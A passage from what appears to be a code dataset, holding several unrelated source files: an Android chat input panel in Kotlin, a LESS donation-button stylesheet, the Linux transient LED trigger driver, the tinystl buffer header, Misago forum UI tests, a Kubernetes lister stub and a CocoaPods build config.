panel.setNavigationIcon(R.drawable.input_emoji)\n panel.setTitleTextColor(-0x1)\n panel.inflateMenu(R.menu.telegram_menu)\n panel.setNavigationOnClickListener {\n if (isEmojiKeyboardVisible) {\n curtain.visibility = LinearLayout.INVISIBLE\n if (input.isKeyboardVisible) {\n panel.setNavigationIcon(R.drawable.ic_keyboard_grey600_24dp)\n input.hideSoftKeyboard()\n } else {\n panel.setNavigationIcon(R.drawable.input_emoji)\n input.showSoftKeyboard()\n }\n } else {\n panel.setNavigationIcon(R.drawable.ic_keyboard_grey600_24dp)\n curtain.visibility = LinearLayout.INVISIBLE\n showEmojiKeyboard()\n }\n\n }\n panel.setOnMenuItemClickListener {\n when (it.itemId) {\n R.id.action_attach -> listener?.onAttachClicked()\n R.id.action_mic -> if (text.isEmpty()) listener?.onMicClicked() else listener?.onSendClicked()\n }\n false\n }\n }\n\n private fun setInputConfig() {\n input.inputType = InputType.TYPE_TEXT_FLAG_NO_SUGGESTIONS\n input.addKeyboardListener(this)\n input.addTextChangedListener(this)\n }\n\n override fun keyboardVisible() {\n curtain.visibility = LinearLayout.VISIBLE\n showEmojiKeyboard()\n }\n\n override fun keyboardHidden() {\n curtain.visibility = LinearLayout.INVISIBLE\n hideEmojiKeyboard()\n }\n\n /*\n Handles the animation of the panel buttons when text is written in the EditText\n */\n override fun onTextChanged(p0: CharSequence?, p1: Int, p2: Int, p3: Int) {\n val micButton = panel.menu.findItem(R.id.action_mic)\n if (text.isNotEmpty() && toogleIcon) {\n toogleIcon = false\n panel.findViewById<View>(R.id.action_attach).animate().scaleX(0f).scaleY(0f).setDuration(150).start()\n if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.JELLY_BEAN) {\n panel.findViewById<View>(R.id.action_mic).animate().scaleX(0f).scaleY(0f).setDuration(75).withEndAction {\n micButton.setIcon(R.drawable.ic_send_telegram)\n panel.findViewById<View>(R.id.action_mic).animate().scaleX(1f).scaleY(1f).setDuration(75).start()\n }.start()\n }\n } else if (text.isEmpty()) {\n toogleIcon = true\n panel.findViewById<View>(R.id.action_attach).animate().scaleX(1f).scaleY(1f).setDuration(150).start()\n if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.JELLY_BEAN) {\n panel.findViewById<View>(R.id.action_mic).animate().scaleX(0f).scaleY(0f).setDuration(75).withEndAction {\n micButton.setIcon(R.drawable.ic_microphone_grey600_24dp)\n panel.findViewById<View>(R.id.action_mic).animate().scaleX(1f).scaleY(1f).setDuration(75).start()\n }.start()\n }\n }\n }\n\n private fun onBackPressed() {\n context.setOnBackPressed(object : OnBackPressedListener {\n override fun onBackPressed(): Boolean? {\n if (isEmojiKeyboardVisible) {\n hideEmojiKeyboard()\n return true\n }\n return false\n }\n })\n }\n\n private fun showEmojiKeyboard() {\n isEmojiKeyboardVisible = true\n emojiKeyboard.keyboardLayout.visibility = LinearLayout.VISIBLE\n curtain.visibility = LinearLayout.INVISIBLE\n }\n\n private fun hideEmojiKeyboard() {\n isEmojiKeyboardVisible = false\n panel.setNavigationIcon(R.drawable.input_emoji)\n emojiKeyboard.keyboardLayout.visibility = LinearLayout.GONE\n curtain.visibility = LinearLayout.VISIBLE\n }\n\n /*\n DO NOTHING\n */\n override fun beforeTextChanged(p0: CharSequence?, p1: Int, p2: Int, p3: Int) {}\n\n override fun afterTextChanged(p0: Editable?) {}\n}\n\n"} {"text": "\n.page-reward {\n margin: 60px 0;\n text-align: center;\n}\n.page-reward-btn {\n width: 56px;\n height: 56px;\n line-height: 56px;\n font-size: 20px;\n color: #fff;\n background: #f44336;\n .boxShadow();\n &:hover,\n &:active {\n color: #fff;\n text-decoration: none;\n }\n}\n\n.reward-title {\n position: relative;\n padding: 10px 30px;\n\n .icon-quote-left,\n .icon-quote-right {\n position: absolute;\n font-size: 80%;\n color: #999;\n }\n .icon-quote-left {\n top: 0;\n left: 0;\n }\n .icon-quote-right {\n bottom: 0;\n right: 0;\n }\n}\n.reward-lay {\n max-width: 100%;\n width: 360px;\n}\n.reward-content {\n margin: 20px 0;\n}\n.reward-code {\n width: 200px;\n margin: 0 auto;\n}\n\n.reward-toggle {\n position: relative;\n display: block;\n width: 120px;\n overflow: hidden;\n margin: 40px auto 0;\n border-radius: 3px;\n cursor: pointer;\n .boxShadow();\n\n &-check {\n position: absolute;\n visibility: hidden;\n &:checked {\n +.reward-toggle-ctrol {\n .transform(translate3d(-60px, 0, 0))\n }\n }\n }\n\n &-ctrol {\n display: flex;\n width: 180px;\n height: 30px;\n line-height: 30px;\n background: #eee;\n border-radius: 3px;\n overflow: hidden;\n user-select: none;\n .transition(.1s)\n }\n\n &-item,\n &-label {\n flex: 0 0 auto;\n width: 60px;\n height: 100%;\n }\n\n &-item {\n position: relative;\n z-index: 2;\n height: 100%;\n text-align: center;\n color: #fff;\n font-size: 12px;\n box-shadow: inset 0 0 15px rgba(0, 0, 0, .3)\n }\n .alipay {\n background: #1e88e5;\n }\n .wechat {\n background: #4caf50;\n }\n}\n\n@media screen and (max-width:760px) {\n .reward-title {\n font-size: 18px;\n }\n}\n\n@media screen and (max-width: 480px) {\n .reward-lay {\n border-radius: 0\n }\n .reward-content {\n margin: 0;\n }\n .reward-toggle {\n margin: 20px auto 0\n }\n}\n"} {"text": "// SPDX-License-Identifier: GPL-2.0\n//\n// LED Kernel Transient Trigger\n//\n// Transient trigger allows one shot timer activation. Please refer to\n// Documentation/leds/ledtrig-transient.txt for details\n// Copyright (C) 2012 Shuah Khan <shuahkhan@gmail.com>\n//\n// Based on Richard Purdie's ledtrig-timer.c and Atsushi Nemoto's\n// ledtrig-heartbeat.c\n// Design and use-case input from Jonas Bonn <jonas@southpole.se> and\n// Neil Brown <neilb@suse.de>\n\n#include <linux/module.h>\n#include <linux/kernel.h>\n#include <linux/init.h>\n#include <linux/device.h>\n#include <linux/slab.h>\n#include <linux/timer.h>\n#include <linux/leds.h>\n#include \"../leds.h\"\n\nstruct transient_trig_data {\n\tint activate;\n\tint state;\n\tint restore_state;\n\tunsigned long duration;\n\tstruct timer_list timer;\n\tstruct led_classdev *led_cdev;\n};\n\nstatic void transient_timer_function(struct timer_list *t)\n{\n\tstruct transient_trig_data *transient_data =\n\t\tfrom_timer(transient_data, t, timer);\n\tstruct led_classdev *led_cdev = transient_data->led_cdev;\n\n\ttransient_data->activate = 0;\n\tled_set_brightness_nosleep(led_cdev, transient_data->restore_state);\n}\n\nstatic ssize_t transient_activate_show(struct device *dev,\n\t\tstruct device_attribute *attr, char *buf)\n{\n\tstruct transient_trig_data *transient_data =\n\t\tled_trigger_get_drvdata(dev);\n\n\treturn sprintf(buf, \"%d\\n\", transient_data->activate);\n}\n\nstatic ssize_t transient_activate_store(struct device *dev,\n\t\tstruct device_attribute *attr, const char *buf, size_t size)\n{\n\tstruct led_classdev *led_cdev = led_trigger_get_led(dev);\n\tstruct transient_trig_data *transient_data =\n\t\tled_trigger_get_drvdata(dev);\n\tunsigned long state;\n\tssize_t ret;\n\n\tret = kstrtoul(buf, 10, &state);\n\tif (ret)\n\t\treturn ret;\n\n\tif (state != 1 && state != 0)\n\t\treturn -EINVAL;\n\n\t/* cancel the running timer */\n\tif (state == 0 && transient_data->activate == 1) {\n\t\tdel_timer(&transient_data->timer);\n\t\ttransient_data->activate = state;\n\t\tled_set_brightness_nosleep(led_cdev,\n\t\t\t\t\ttransient_data->restore_state);\n\t\treturn size;\n\t}\n\n\t/* start timer if there is no active timer */\n\tif (state == 1 && transient_data->activate == 0 &&\n\t transient_data->duration != 0) {\n\t\ttransient_data->activate = state;\n\t\tled_set_brightness_nosleep(led_cdev, transient_data->state);\n\t\ttransient_data->restore_state =\n\t\t (transient_data->state == LED_FULL) ? LED_OFF : LED_FULL;\n\t\tmod_timer(&transient_data->timer,\n\t\t\t jiffies + msecs_to_jiffies(transient_data->duration));\n\t}\n\n\t/* state == 0 && transient_data->activate == 0\n\t\ttimer is not active - just return */\n\t/* state == 1 && transient_data->activate == 1\n\t\ttimer is already active - just return */\n\n\treturn size;\n}\n\nstatic ssize_t transient_duration_show(struct device *dev,\n\t\tstruct device_attribute *attr, char *buf)\n{\n\tstruct transient_trig_data *transient_data = led_trigger_get_drvdata(dev);\n\n\treturn sprintf(buf, \"%lu\\n\", transient_data->duration);\n}\n\nstatic ssize_t transient_duration_store(struct device *dev,\n\t\tstruct device_attribute *attr, const char *buf, size_t size)\n{\n\tstruct transient_trig_data *transient_data =\n\t\tled_trigger_get_drvdata(dev);\n\tunsigned long state;\n\tssize_t ret;\n\n\tret = kstrtoul(buf, 10, &state);\n\tif (ret)\n\t\treturn ret;\n\n\ttransient_data->duration = state;\n\treturn size;\n}\n\nstatic ssize_t transient_state_show(struct device *dev,\n\t\tstruct device_attribute *attr, char *buf)\n{\n\tstruct transient_trig_data *transient_data =\n\t\tled_trigger_get_drvdata(dev);\n\tint state;\n\n\tstate = (transient_data->state == LED_FULL) ? 1 : 0;\n\treturn sprintf(buf, \"%d\\n\", state);\n}\n\nstatic ssize_t transient_state_store(struct device *dev,\n\t\tstruct device_attribute *attr, const char *buf, size_t size)\n{\n\tstruct transient_trig_data *transient_data =\n\t\tled_trigger_get_drvdata(dev);\n\tunsigned long state;\n\tssize_t ret;\n\n\tret = kstrtoul(buf, 10, &state);\n\tif (ret)\n\t\treturn ret;\n\n\tif (state != 1 && state != 0)\n\t\treturn -EINVAL;\n\n\ttransient_data->state = (state == 1) ? LED_FULL : LED_OFF;\n\treturn size;\n}\n\nstatic DEVICE_ATTR(activate, 0644, transient_activate_show,\n\t\t transient_activate_store);\nstatic DEVICE_ATTR(duration, 0644, transient_duration_show,\n\t\t transient_duration_store);\nstatic DEVICE_ATTR(state, 0644, transient_state_show, transient_state_store);\n\nstatic struct attribute *transient_trig_attrs[] = {\n\t&dev_attr_activate.attr,\n\t&dev_attr_duration.attr,\n\t&dev_attr_state.attr,\n\tNULL\n};\nATTRIBUTE_GROUPS(transient_trig);\n\nstatic int transient_trig_activate(struct led_classdev *led_cdev)\n{\n\tstruct transient_trig_data *tdata;\n\n\ttdata = kzalloc(sizeof(struct transient_trig_data), GFP_KERNEL);\n\tif (!tdata)\n\t\treturn -ENOMEM;\n\n\tled_set_trigger_data(led_cdev, tdata);\n\ttdata->led_cdev = led_cdev;\n\n\ttimer_setup(&tdata->timer, transient_timer_function, 0);\n\n\treturn 0;\n}\n\nstatic void transient_trig_deactivate(struct led_classdev *led_cdev)\n{\n\tstruct transient_trig_data *transient_data = led_get_trigger_data(led_cdev);\n\n\tdel_timer_sync(&transient_data->timer);\n\tled_set_brightness_nosleep(led_cdev, transient_data->restore_state);\n\tkfree(transient_data);\n}\n\nstatic struct led_trigger transient_trigger = {\n\t.name = \"transient\",\n\t.activate = transient_trig_activate,\n\t.deactivate = transient_trig_deactivate,\n\t.groups = transient_trig_groups,\n};\nmodule_led_trigger(transient_trigger);\n\nMODULE_AUTHOR(\"Shuah Khan <shuahkhan@gmail.com>\");\nMODULE_DESCRIPTION(\"Transient LED trigger\");\nMODULE_LICENSE(\"GPL v2\");\n"} {"text": "/*-\n * Copyright 2012-2015 Matthew Endsley\n * All rights reserved\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted providing that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR\n * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY\n * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS\n * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,\n * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING\n * IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n */\n\n#ifndef TINYSTL_BUFFER_H\n#define TINYSTL_BUFFER_H\n\n#include \"allocator.h\"\n#include \"new.h\"\n#include \"traits.h\"\n\nnamespace tinystl {\n template<typename T, typename Alloc = TINYSTL_ALLOCATOR>\n struct buffer {\n T* first;\n T* last;\n T* capacity;\n };\n\n template<typename T>\n static inline void buffer_destroy_range_traits(T* first, T* last, pod_traits<T, false>) {\n for (; first < last; ++first)\n first->~T();\n }\n\n template<typename T>\n static inline void buffer_destroy_range_traits(T*, T*, pod_traits<T, true>) {\n }\n\n template<typename T>\n static inline void buffer_destroy_range(T* first, T* last) {\n buffer_destroy_range_traits(first, last, pod_traits<T>());\n }\n\n template<typename T>\n static inline void buffer_fill_urange_traits(T* first, T* last, pod_traits<T, false>) {\n for (; first < last; ++first)\n new(placeholder(), first) T();\n }\n\n template<typename T>\n static inline void buffer_fill_urange_traits(T* first, T* last, pod_traits<T, true>) {\n for (; first < last; ++first)\n *first = T();\n }\n\n template<typename T>\n static inline void buffer_fill_urange_traits(T* first, T* last, const T& value, pod_traits<T, false>) {\n for (; first < last; ++first)\n new(placeholder(), first) T(value);\n }\n\n template<typename T>\n static inline void buffer_fill_urange_traits(T* first, T* last, const T& value, pod_traits<T, true>) {\n for (; first < last; ++first)\n *first = value;\n }\n\n template<typename T>\n static inline void buffer_move_urange_traits(T* dest, T* first, T* last, pod_traits<T, false>) {\n for (T* it = first; it != last; ++it, ++dest)\n move_construct(dest, *it);\n buffer_destroy_range(first, last);\n }\n\n template<typename T>\n static inline void buffer_move_urange_traits(T* dest, T* first, T* last, pod_traits<T, true>) {\n for (; first != last; ++first, ++dest)\n *dest = *first;\n }\n\n template<typename T>\n static inline void buffer_bmove_urange_traits(T* dest, T* first, T* last, pod_traits<T, false>) {\n dest += (last - first);\n for (T* it = last; it != first; --it, --dest) {\n move_construct(dest - 1, *(it - 1));\n buffer_destroy_range(it - 1, it);\n }\n }\n\n template<typename T>\n static inline void buffer_bmove_urange_traits(T* dest, T* first, T* last, pod_traits<T, true>) {\n dest += (last - first);\n for (T* it = last; it != first; --it, --dest)\n *(dest - 1) = *(it - 1);\n }\n\n template<typename T>\n static inline void buffer_move_urange(T* dest, T* first, T* last) {\n buffer_move_urange_traits(dest, first, last, pod_traits<T>());\n }\n\n template<typename T>\n static inline void buffer_bmove_urange(T* dest, T* first, T* last) {\n buffer_bmove_urange_traits(dest, first, last, pod_traits<T>());\n }\n\n template<typename T>\n static inline void buffer_fill_urange(T* first, T* last) {\n buffer_fill_urange_traits(first, last, pod_traits<T>());\n }\n\n template<typename T>\n static inline void buffer_fill_urange(T* first, T* last, const T& value) {\n buffer_fill_urange_traits(first, last, value, pod_traits<T>());\n }\n\n template<typename T, typename Alloc>\n static inline void buffer_init(buffer<T, Alloc>* b) {\n b->first = b->last = b->capacity = 0;\n }\n\n template<typename T, typename Alloc>\n static inline void buffer_destroy(buffer<T, Alloc>* b) {\n buffer_destroy_range(b->first, b->last);\n Alloc::static_deallocate(b->first, (size_t)((char*)b->capacity - (char*)b->first));\n }\n\n template<typename T, typename Alloc>\n static inline void buffer_reserve(buffer<T, Alloc>* b, size_t capacity) {\n if (b->first + capacity <= b->capacity)\n return;\n\n typedef T* pointer;\n const size_t size = (size_t)(b->last - b->first);\n pointer newfirst = (pointer)Alloc::static_allocate(sizeof(T) * capacity);\n buffer_move_urange(newfirst, b->first, b->last);\n Alloc::static_deallocate(b->first, sizeof(T) * capacity);\n\n b->first = newfirst;\n b->last = newfirst + size;\n b->capacity = newfirst + capacity;\n }\n\n template<typename T, typename Alloc>\n static inline void buffer_resize(buffer<T, Alloc>* b, size_t size) {\n buffer_reserve(b, size);\n\n buffer_fill_urange(b->last, b->first + size);\n buffer_destroy_range(b->first + size, b->last);\n b->last = b->first + size;\n }\n\n template<typename T, typename Alloc>\n static inline void buffer_resize(buffer<T, Alloc>* b, size_t size, const T& value) {\n buffer_reserve(b, size);\n\n buffer_fill_urange(b->last, b->first + size, value);\n buffer_destroy_range(b->first + size, b->last);\n b->last = b->first + size;\n }\n\n template<typename T, typename Alloc>\n static inline void buffer_shrink_to_fit(buffer<T, Alloc>* b) {\n if (b->last == b->first) {\n const size_t capacity = (size_t)(b->last - b->first);\n Alloc::static_deallocate(b->first, sizeof(T)*capacity);\n b->capacity = b->first;\n }\n else if (b->capacity != b->last) {\n const size_t capacity = (size_t)(b->capacity - b->first);\n const size_t size = (size_t)(b->last - b->first);\n T* newfirst = (T*)Alloc::static_allocate(sizeof(T) * size);\n buffer_move_urange(newfirst, b->first, b->last);\n Alloc::static_deallocate(b->first, sizeof(T) * capacity);\n b->first = newfirst;\n b->last = newfirst + size;\n b->capacity = b->last;\n }\n }\n\n template<typename T, typename Alloc>\n static inline void buffer_clear(buffer<T, Alloc>* b) {\n buffer_destroy_range(b->first, b->last);\n b->last = b->first;\n }\n\n template<typename T, typename Alloc>\n static inline T* buffer_insert_common(buffer<T, Alloc>* b, T* where, size_t count) {\n const size_t offset = (size_t)(where - b->first);\n const size_t newsize = (size_t)((b->last - b->first) + count);\n if (b->first + newsize > b->capacity)\n buffer_reserve(b, (newsize * 3) / 2);\n\n where = b->first + offset;\n\n if (where != b->last)\n buffer_bmove_urange(where + count, where, b->last);\n\n b->last = b->first + newsize;\n\n return where;\n }\n\n template<typename T, typename Alloc, typename Param>\n static inline void buffer_insert(buffer<T, Alloc>* b, T* where, const Param* first, const Param* last) {\n typedef const char* pointer;\n const size_t count = last - first;\n const bool frombuf = ((pointer)b->first <= (pointer)first && (pointer)b->last >= (pointer)last);\n size_t offset = 0;\n if (frombuf) {\n offset = (pointer)first - (pointer)b->first;\n if ((pointer)where <= (pointer)first)\n offset += count * sizeof(T);\n }\n where = buffer_insert_common(b, where, count);\n if (frombuf) {\n first = (Param*)((pointer)b->first + offset);\n last = first + count;\n }\n for (; first != last; ++first, ++where)\n new(placeholder(), where) T(*first);\n }\n\n template<typename T, typename Alloc>\n static inline void buffer_insert(buffer<T, Alloc>* b, T* where, size_t count) {\n where = buffer_insert_common(b, where, count);\n for (T* end = where + count; where != end; ++where)\n new(placeholder(), where) T();\n }\n\n template<typename T, typename Alloc, typename Param>\n static inline void buffer_append(buffer<T, Alloc>* b, const Param* param) {\n if (b->capacity != b->last) {\n new(placeholder(), b->last) T(*param);\n ++b->last;\n }\n else {\n buffer_insert(b, b->last, param, param + 1);\n }\n }\n\n template<typename T, typename Alloc>\n static inline void buffer_append(buffer<T, Alloc>* b) {\n if (b->capacity != b->last) {\n new(placeholder(), b->last) T();\n ++b->last;\n }\n else {\n buffer_insert(b, b->last, 1);\n }\n }\n\n template<typename T, typename Alloc>\n static inline T* buffer_erase(buffer<T, Alloc>* b, T* first, T* last) {\n typedef T* pointer;\n const size_t count = (last - first);\n for (pointer it = last, end = b->last, dest = first; it != end; ++it, ++dest)\n move(*dest, *it);\n\n buffer_destroy_range(b->last - count, b->last);\n\n b->last -= count;\n return first;\n }\n\n template<typename T, typename Alloc>\n static inline T* buffer_erase_unordered(buffer<T, Alloc>* b, T* first, T* last) {\n typedef T* pointer;\n const size_t count = (last - first);\n const size_t tail = (b->last - last);\n pointer it = b->last - ((count < tail) ? count : tail);\n for (pointer end = b->last, dest = first; it != end; ++it, ++dest)\n move(*dest, *it);\n\n buffer_destroy_range(b->last - count, b->last);\n\n b->last -= count;\n return first;\n }\n\n template<typename T, typename Alloc>\n static inline void buffer_swap(buffer<T, Alloc>* b, buffer<T, Alloc>* other) {\n typedef T* pointer;\n const pointer tfirst = b->first, tlast = b->last, tcapacity = b->capacity;\n b->first = other->first, b->last = other->last, b->capacity = other->capacity;\n other->first = tfirst, other->last = tlast, other->capacity = tcapacity;\n }\n}\n\n#endif\n"} {"text": "import assert from 'assert';\nimport moment from 'moment'; // jshint ignore:line\nimport React from 'react'; // jshint ignore:line\nimport ListLoading from 'misago/components/users/rank/list-loading' // jshint ignore:line\nimport List from 'misago/components/users/rank/list' // jshint ignore:line\nimport Pager from 'misago/components/users/rank/pager' // jshint ignore:line\nimport Root from 'misago/components/users/rank/root'; // jshint ignore:line\nimport misago from 'misago/index';\nimport reducer from 'misago/reducers/users';\nimport ajax from 'misago/services/ajax';\nimport polls from 'misago/services/polls';\nimport snackbar from 'misago/services/snackbar';\nimport store from 'misago/services/store';\nimport * as testUtils from 'misago/utils/test-utils';\n\nlet snackbarStore = null;\n\ndescribe(\"Rank Users List\", function() {\n afterEach(function() {\n testUtils.unmountComponents();\n });\n\n it(\"renders users\", function(done) {\n /* jshint ignore:start */\n let users = [\n testUtils.mockUser({\n id: 123,\n title: \"Lorem ipsum\",\n status: {is_online: true},\n joined_on: moment()\n }),\n testUtils.mockUser({\n id: 122,\n status: {is_online: true},\n joined_on: moment()\n })\n ];\n\n let state = {\n count: 2,\n page: 1,\n pages: 2,\n page_range: [1, 2],\n first: 1,\n previous: null,\n next: 2,\n last: 2,\n before: 0,\n more: 1\n };\n\n testUtils.render(\n <List baseUrl='/users/'\n users={users}\n {...state} />\n );\n /* jshint ignore:end */\n\n testUtils.onElement('#test-mount .users-cards-list.ui-ready', function() {\n assert.ok(true, \"component renders\");\n\n assert.ok($('#test-mount .pager-undercontent').length,\n \"paginator is rendered\");\n\n assert.equal($('#test-mount .user-card').length, 2,\n \"two users are rendered\");\n\n done();\n });\n });\n});\n\ndescribe(\"Rank Users List Pager\", function() {\n afterEach(function() {\n testUtils.unmountComponents();\n });\n\n it(\"renders\", function(done) {\n /* jshint ignore:start */\n let state = {\n baseUrl: '/users/rank-slug/',\n\n count: 10,\n page: 2,\n pages: 3,\n page_range: [1, 2, 3],\n first: 1,\n previous: null,\n next: 3,\n last: 3,\n before: 10,\n more: 10\n };\n\n testUtils.render(\n <Pager {...state} />\n );\n /* jshint ignore:end */\n\n testUtils.onElement('#test-mount .pager-undercontent', function() {\n assert.ok(true, \"component renders\");\n\n assert.ok($('#test-mount .pager .previous').length, \"prev page renders\");\n assert.ok($('#test-mount .pager .next').length, \"next page renders\");\n assert.equal($('#test-mount .pager-progress-bar li').length, 3,\n \"progress bar renders\");\n\n assert.equal($('#test-mount .pager-progress-bar .active').text().trim(),\n '2',\n \"valid page is active in progress bar\");\n\n done();\n });\n });\n\n it(\"renders without next page\", function(done) {\n /* jshint ignore:start */\n let state = {\n baseUrl: '/users/rank-slug/',\n\n count: 10,\n page: 3,\n pages: 3,\n page_range: [1, 2, 3],\n first: 1,\n previous: null,\n next: null,\n last: null,\n before: 10,\n more: 0\n };\n\n testUtils.render(\n <Pager {...state} />\n );\n /* jshint ignore:end */\n\n testUtils.onElement('#test-mount .pager-undercontent', function() {\n assert.ok(true, \"component renders\");\n\n assert.ok($('#test-mount .pager .previous').length, \"prev page renders\");\n assert.ok(!$('#test-mount .pager .next').length, \"next not rendering\");\n assert.equal($('#test-mount .pager-progress-bar li').length, 3,\n \"progress bar renders\");\n\n assert.equal($('#test-mount .pager-progress-bar .active').text().trim(),\n '3',\n \"valid page is active in progress bar\");\n\n done();\n });\n });\n\n it(\"renders without prev page\", function(done) {\n /* jshint ignore:start */\n let state = {\n baseUrl: '/users/rank-slug/',\n\n count: 10,\n page: 1,\n pages: 3,\n page_range: [1, 2, 3],\n first: null,\n previous: null,\n next: 2,\n last: 3,\n before: 0,\n more: 10\n };\n\n testUtils.render(\n <Pager {...state} />\n );\n /* jshint ignore:end */\n\n testUtils.onElement('#test-mount .pager-undercontent', function() {\n assert.ok(true, \"component renders\");\n\n assert.ok(!$('#test-mount .pager .previous').length,\n \"prev page is not rendering\");\n assert.ok($('#test-mount .pager .next').length, \"next page renders\");\n assert.equal($('#test-mount .pager-progress-bar li').length, 3,\n \"progress bar renders\");\n\n assert.equal($('#test-mount .pager-progress-bar .active').text().trim(),\n '1',\n \"valid page is active in progress bar\");\n\n done();\n });\n });\n});\n\ndescribe(\"Rank Users List Loading\", function() {\n afterEach(function() {\n testUtils.unmountComponents();\n });\n\n it(\"renders\", function(done) {\n /* jshint ignore:start */\n testUtils.render(<ListLoading />);\n /* jshint ignore:end */\n\n testUtils.onElement('#test-mount .users-cards-list', function() {\n assert.ok(true, \"component renders\");\n\n done();\n });\n });\n});\n\ndescribe(\"Rank Users List Root\", function() {\n beforeEach(function() {\n snackbarStore = testUtils.snackbarStoreMock();\n snackbar.init(snackbarStore);\n\n polls.init(ajax, snackbar);\n\n testUtils.contextGuest(misago);\n\n misago._context = Object.assign(misago._context, {\n USERS_LIST_URL: '/users/',\n USERS_API: '/test-api/users/',\n\n USERS_LISTS: [\n {\n component: \"rank\",\n id: 424,\n name: \"Forum team\",\n slug: 'forum-team',\n css_class: 'forum-team',\n description: {\n plain: \"This is forum team rank.\",\n html: \"<p class=\\\"test-description\\\">This is forum team rank.</p>\"\n }\n }\n ]\n });\n\n store.constructor();\n store.addReducer('users', reducer, []);\n store.addReducer('auth', function(state, action) {\n if (action || true) {\n return {};\n }\n }, {});\n store.addReducer('tick', function(state, action) {\n if (action || true) {\n return {'tick': 123};\n }\n }, {});\n\n store.init();\n });\n\n afterEach(function() {\n testUtils.unmountComponents();\n testUtils.snackbarClear(snackbar);\n $.mockjax.clear();\n });\n\n it(\"renders preloaded\", function(done) {\n let data = {\n results: [\n testUtils.mockUser({\n id: 123,\n title: \"Lorem ipsum\",\n status: {is_online: true}\n }),\n testUtils.mockUser({\n id: 122,\n status: {is_online: true}\n })\n ],\n\n count: 10,\n page: 1,\n pages: 1,\n page_range: [1],\n first: null,\n previous: null,\n next: null,\n last: null,\n before: 0,\n more: 0\n };\n\n $.mockjax({\n url: '/test-api/users/?rank=424&page=1',\n status: 200,\n responseText: data\n });\n\n misago._context.USERS = data;\n\n /* jshint ignore:start */\n let rank = {\n id: 424,\n name: \"Forum team\",\n slug: 'forum-team',\n css_class: 'forum-team',\n description: {\n plain: \"This is forum team rank.\",\n html: \"<p class=\\\"test-description\\\">This is forum team rank.</p>\"\n }\n };\n\n testUtils.render(\n <Root user={misago._context.user}\n users={[]}\n tick={123}\n route={{rank: rank}}\n params={{}} />\n );\n /* jshint ignore:end */\n\n testUtils.onElement('#test-mount .users-cards-list.ui-ready', function() {\n assert.ok(true, \"component renders\");\n\n assert.equal($('#test-mount p.test-description').text().trim(),\n \"This is forum team rank.\",\n \"rank description was displayed\");\n\n done();\n });\n });\n\n it(\"loads\", function(done) {\n let data = {\n results: [\n testUtils.mockUser({\n id: 123,\n title: \"Lorem ipsum\",\n status: {is_online: true}\n }),\n testUtils.mockUser({\n id: 122,\n status: {is_online: true}\n })\n ],\n\n count: 10,\n page: 1,\n pages: 1,\n page_range: [1],\n first: null,\n previous: null,\n next: null,\n last: null,\n before: 0,\n more: 0\n };\n\n $.mockjax({\n url: '/test-api/users/?rank=424&page=1',\n status: 200,\n responseText: data\n });\n\n /* jshint ignore:start */\n let rank = {\n id: 424,\n name: \"Forum team\",\n slug: 'forum-team',\n css_class: 'forum-team',\n description: {\n plain: \"This is forum team rank.\",\n html: \"<p class=\\\"test-description\\\">This is forum team rank.</p>\"\n }\n };\n\n testUtils.render(\n <Root user={misago._context.user}\n users={[]}\n tick={123}\n route={{rank: rank}}\n params={{}} />\n );\n /* jshint ignore:end */\n\n testUtils.onElement('#test-mount .users-cards-list.ui-ready', function() {\n assert.ok(true, \"component renders\");\n\n assert.equal($('#test-mount p.test-description').text().trim(),\n \"This is forum team rank.\",\n \"rank description was displayed\");\n\n done();\n });\n });\n\n it(\"handles backend error\", function(done) {\n $.mockjax({\n url: '/test-api/users/?rank=424&page=1',\n status: 500\n });\n\n /* jshint ignore:start */\n let rank = {\n id: 424,\n name: \"Forum team\",\n slug: 'forum-team',\n css_class: 'forum-team',\n description: {\n plain: \"This is forum team rank.\",\n html: \"<p class=\\\"test-description\\\">This is forum team rank.</p>\"\n }\n };\n\n testUtils.render(\n <Root user={misago._context.user}\n users={[]}\n tick={123}\n route={{rank: rank}}\n params={{}} />\n );\n /* jshint ignore:end */\n\n snackbarStore.callback(function(message) {\n assert.deepEqual(message, {\n message: \"Unknown error has occured.\",\n type: 'error'\n }, \"error message was shown\");\n\n done();\n });\n });\n});"} {"text": "/*\nCopyright The Kubernetes Authors.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\n// Code generated by lister-gen. DO NOT EDIT.\n\npackage v1alpha1\n\n// VolumeAttachmentListerExpansion allows custom methods to be added to\n// VolumeAttachmentLister.\ntype VolumeAttachmentListerExpansion interface{}\n"} {"text": "CONFIGURATION_BUILD_DIR = $PODS_CONFIGURATION_BUILD_DIR/AFNetworking\nGCC_PREPROCESSOR_DEFINITIONS = $(inherited) COCOAPODS=1\nHEADER_SEARCH_PATHS = \"${PODS_ROOT}/Headers/Private\" \"${PODS_ROOT}/Headers/Private/AFNetworking\" \"${PODS_ROOT}/Headers/Public\" \"${PODS_ROOT}/Headers/Public/AFNetworking\" 